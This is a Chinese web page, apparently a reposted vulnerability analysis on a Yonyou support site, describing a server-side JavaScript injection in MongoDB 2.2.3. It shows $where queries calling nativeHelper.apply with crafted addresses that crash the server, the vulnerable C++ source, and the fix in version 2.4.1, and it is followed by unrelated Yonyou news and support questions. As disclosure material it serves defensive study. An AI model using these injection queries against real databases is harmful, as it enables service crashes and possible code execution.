MongoDB服务器端的&#106avascript注入及修复方案

2016-1-14 0:0:0　wondial

MongoDB服务器端的javascript注入及修复方案

安全研究者agixid在MongoDB数据库2.2.3版本上发现一个安全漏洞，并且表示Metasploit利用payload正在开发当中。该漏洞主要是MongoDB不正确的使用SpiderMonkey javascript的NativeHelper函数，导致可以注入代码或缓冲区溢出执行任意代码。

以下为研究者带来的一些分析。

首先在MongoDB中尝试一些服务器端的javascript注入，尝试运行一个shell。

> run("uname","-a")Sun Mar 25 07:09:49 shell: started programsh1838| Linux mongo 2.6.32-5-686 #1 SMP Sun Sep 23 09:49:36 UTC 2012 i686 GNU/Linux0

以下这个命令只能在mongo客户端才有效

> db.my_collection.find({
where:"run('ls')"})error: { "
err" : "error on invocation of 
where function:\nJS Error: ReferenceError: run is not defined nofile_a:0", "code" : 10071}

研究者继续深入尝试

> runfunction () {    return nativeHelper.apply(run_, arguments);}

运行<run>函数，在服务端直接调用 nativeHelper.apply(run_,["uname","-a"]); ，返回信息提示nativeHelper.apply方法存在。

> db.my_collection.find({
where:'nativeHelper.apply(run_, ["uname","-a"]);'})error: {"
err" : "error on invocation of 
where function:\nJS Error: ReferenceError: run_ is not defined nofile_a:0","code" : 10071}

将一个关联数组用到服务器端

> db.my_collection.find({
where:'nativeHelper.apply({"x":135246144}, ["uname","-a"]);'})Sun Mar 25 07:15:26 DBClientCursor::init call() failedSun Mar 25 07:15:26 query failed : sthack.my_collection { 
where: "nativeHelper.apply({"x":135246144}, ["uname","-a"]);" } to: 127.0.0.1:27017Error: error doing query: failedSun Mar 25 07:15:26 trying reconnect to 127.0.0.1:27017Sun Mar 25 07:15:26 reconnect 127.0.0.1:27017 failed couldn't connect to server 127.0.0.1:27017

结果显示：The server crashed \o/ ! （崩溃）

查看看一下其源代码

路径：./src/mongo/scripting/engine_spidermonkey.cpp

JSBool native_helper( JSContext *cx , JSObject *obj , uintN argc, jsval *argv , jsval *rval ) {        try {            Convertor c(cx);            NativeFunction func = reinterpret_cast(                    static_cast( c.getNumber( obj , "x" ) ) );            void* data = reinterpret_cast<void*>(                    static_cast( c.getNumber( obj , "y" ) ) );            verify( func );            BSONObj a;            if ( argc > 0 ) {                BSONObjBuilder args;                for ( uintN i = 0; i < argc; ++i ) {                    c.append( args , args.numStr( i ) , argv[i] );                }                a = args.obj();            }            BSONObj out;            try {                out = func( a, data );            }            catch ( std::exception& e ) {

原函数的功能会从”x” : 135246144调用至javascript对象不带任何检查。

> db.my_collection.find({
where:'nativeHelper.apply({"x":0x31337}, ["uname","-a"]);'})Sun Mar 25 07:20:03 Invalid access at address: 0x31337 from thread: conn1Sun Mar 25 07:20:03 Got signal: 11 (Segmentation fault).

MongoDB已发布最新版本2.4.1修复了该漏洞，下载地址

如果您的问题还没有解决，可以到 T+搜索>>上找一下答案

分享到：

微博关注

bj用友软件

最新信息

【新年首签】天津用友&通广集团签署战略协议

天津用友软件技术有限公司(以下简称天津用友)和天津通信广播集团有限公司（以下简称通广集团）就企业信息化建设事宜进行战略签约。

参加此次会议有天津用友总经理赵永春，天津用友副总经理王成岩、通广集团副总经理马严、通广集团科技质量部部长尹刚、七一二公司技术质量部部长门国梁、七一二公司技术中心主任黄建尧等。

To B入口之争，用友超客企业空间从打通ERP发力

To B入口之争，用友超客企业空间从打通ERP发力To B入口之争，用友超客企业空间从打通ERP发力
继资本市场寒冬来临之后，近一段时间的to B市场再次动作频频，年底本该平静的to B市场，再次被几家热点厂商的大动作搅动。日前，阿里巴巴钉钉发布企业服务共创计划，并联手Uber推出企业出勤，纷享销客也推出to B基金，前两天用友集团旗下互联网公司用友超客也祭出大招，宣布与用友优普U8+打通，推出社交化的U8+云服务产品。这也是移动办公领域首家完成与ERP全面打通的企业。
企业空间已帮助U8+审批、财务等业务应用上云
回头反观今年的to B市场，入口级产品的布局倾向已经逐渐明朗。阿里巴巴钉钉作为从to C跨界到to B的代表，问世之初便很明确的表露出其提供基础平台，纵深应用交给伙伴来做的理念。在伙伴的选择上，钉钉从to B办公相关本土势力突破，首先选择了开放平台生态之后的蓝凌、红圈、Teambition等伙伴；后期逐渐扩大范围，拓展C端伙伴布局市场，近日联手Uber，并推出企业服务共创计划，宣布将与跨界伙伴合作，共同打造“一个更从容的工作方式”。其实，钉钉2.0发布以来的近半年动作频频，充分利用了阿里巴巴的资本、品牌、人脉资源，在高铁、电梯、出租、楼宇打起广告，以及发放虾米音乐、天猫超市、口碑外卖、打车优惠券等福利，而从这些动作中，我们可以看到钉钉与to B市场完全不同的打法，to C套路浓重，伙伴的选择也逐渐开始了联手C端伙伴。
纷享销客作为直接从SaaS、移动化切入to B市场的代表，在今年也奏出不一样的音符。与钉钉类似的高铁、电梯、出租、楼宇广告，而在企业应用的布局上，选择的却不同于钉钉，慧聪、会小二等产业链周边型企业成为其选择，近期更是投资客脉、创立to B基金，从创业者转身投资者，扶植、孵化创业项目，为未来布局。用友超客作为用友集团旗下第一家独立互联网公司，是to B市场传统龙头势力的互联网化的代表。年中发力，本该是已晚一步的用友超客，此次选择从集团内部切入，联手兄弟公司，从ERP着力，这一动作背后却是直指企业移动化痛点，着实令人眼前一亮，也坐实了工作入口的意图。更进一步，我们也能发现用友超客在企业应用入口上的伙伴倾向：先从内部着力，此次是U8+，下一步或许就是U9、NC等。
从ERP着手，深知企业脉络
与ERP打通的入口级产品，这一概念令人惊艳，惊艳过后，其实也不难理解用友超客此次动作的背后原因。用友超客虽然是用友集团旗下独立的互联网公司，但没有与用友集团在企业级市场近三十年的积累独立开来。先不谈多年沉淀下来的客户、渠道优势，仅说对企业的理解、对企业需求的把握，以及对企业业务的影响力。众所周知，中国信息化发展多年来，ERP已经融入企业的脉络，融入企业的日常运转，用友作为管理软件龙头、中国最大的ERP提供商，同样融入太多企业的管理、业务之中，此为影响力。
其二，对企业的理解以及对企业需求的把握。虽然近些年移动化势头不断升高，移动应用也是不胜枚举，但企业在现今的移动化、互联网化进程中依然面临问题：如果把移动应用视为前端呈现界面，那么，后端ERP数据如何移动化？如何做到前端业务与后端数据一体化协同？重复录入、数据孤岛等问题如何解决？企业需要一款与ERP完全打通的移动应用，来满足企业业务需要。
而ERP是一项很复杂的系统，ERP的集成涉及到数据集成、组织架构集成、流程集成、信息集成，对企业业务理解不够难以做到各方面的全面整合。用友超客作为用友旗下产品，对企业业务理解自然延续用友，又有ERP的资源，二者结合也顺其自然的发生。
至于选择与用友优普联手的原因，也就明显了。首先用友超客与用友优普同出与用友集团，二者之前也是同为一体，在整合速度、力度、深度和团队协作上都有着优势。俗话说兄弟好办事，相比外部伙伴或多或少会考虑一些合作之外的利益，同属用友集团，不管是集团政策，还是共同理念，总归目标的一致性要更有保障。打通后的影响，移动业务升华新境界
据了解，此次两方联合发布的社交化U8+云服务产品，目前已经实现在移动端向企业管理者及使用者提供覆盖采购、销售、库存、收付、委外、出口、合同、考勤、人事、报销、预算等12类关键业务的U8+实时数据及业务协同服务。后续双方将会在产品上进行深层次的技术对接，将双方各自的功能、服务全面打通，助力企业移动业务升华到新境界。
聚焦到双方打通后的具体价值，通过U8+云应用中心的简单配置，U8+的移动应用及数据服务能够向企业空间应用中心推送，企业空间成为U8+社交化移动门户，借助企业空间强大的社交能力和多空间机制，实现社交化沟通、业务协同及产业链协同，实现面向经销商、客户、供应商及伙伴等的移动数据服务；而企业U8+将升级为数据服务中心，根据不同角色需要，跨帐套、按需定制移动应用图标，并实现移动业务处理和数据查询，同时U8+之前单个功能的部门级局限也将被打破，利用企业空间的平台能力将这些功能直接输出到移动端，实现全员应用。
另一方面，双方的打通也会给企业空间带来U8+庞大的客户流量，用友超客的用户规模将迎来一次爆发式增长，进一步加大行业影响力，更有利于推动社会化商业平台进程，以及中国商业管理变革。
总的来说，用友超客与用友优普的牵手，将推动企业空间进一步与业务系统整合，提升企业社交价值，帮助伙伴聚合更多用户。同时企业空间的产品生态也将更加完善，能够为企业客户提供更加完整的服务，让企业业务与社交化紧密结合，拥抱社会化商业。
入口之争，三种势力各自布局

T+的安装环境是什么？数据库可以是SQL2005吗？操作系统哪个版本最稳定？

T+的安装环境是什么？数据库可以是SQL2005吗？操作系统哪个版本最稳定？ T+的安装环境是什么？数据库可以是SQL2005吗？操作系统哪个版本最稳定？[]

推荐的稳定环境是
2008R2 OS，
2008R2 SQL。
@畅捷支持侯椿寳:谢谢

U8.50增加会计科目时提示-共享-冲突

U8.50增加会计科目时提示-共享-冲突U8.50增加会计科目时提示"共享"冲突

U8.50-增加会计科目时提示"共享"冲突

自动编号:	12683	产品版本:	U8.50
产品模块:	总账	所属行业:	通用
适用产品:	85X	关键字:	共享冲突
问题名称:	增加会计科目时提示"共享"冲突
问题现象:	增加会计科目时提示"共享"冲突,之后形成站点锁定
原因分析:	操作员从EXCEL表中复制会计科目编码到用友增加科目,把空格也粘贴过去了,造成科目编码出现非法字符
解决方案:	去除空格即可温馨提示：如果您的问题还没有解决，欢迎进入用友云基地。

运维服务

返回用友云基地

首页

MongoDB服务器端的&#106avascript注入及修复方案

微博关注

相关阅读

最新信息

运维服务

资源下载

热点文章

新闻资讯

【新年首签】天津用友&通广集团签署战略协议

会计职场堪比宫斗剧

用友热销产品

知识库

用友u8怎么导出报表

用友u8怎么导出数据

会计家园

管理软件

T3卸载就会跳到安装界面去，用360工具也卸载不了。请问这种情况哪位老师遇见过，我们应该如何处理。谢谢、在线等。

用友T3-用友通标准版录完期初后，总账系统和往来管理中往来科目期初余额不一致

首页

MongoDB服务器端的&#106avascript注入及修复方案

微博关注

相关阅读

最新信息

运维服务

资源下载

热点文章

新闻资讯

【新年首签】天津用友&通广集团签署战略协议

会计职场堪比宫斗剧

用友热销产品

知 识 库

用友u8怎么导出报表

用友u8怎么导出数据

会计家园

管理软件

T3卸载就会跳到安装界面去，用360工具也卸载不了。请问这种情况哪位老师遇见过，我们应该如何处理。谢谢、在线等。

用友T3-用友通标准版录完期初后，总账系统和往来管理中往来科目期初余额不一致

知识库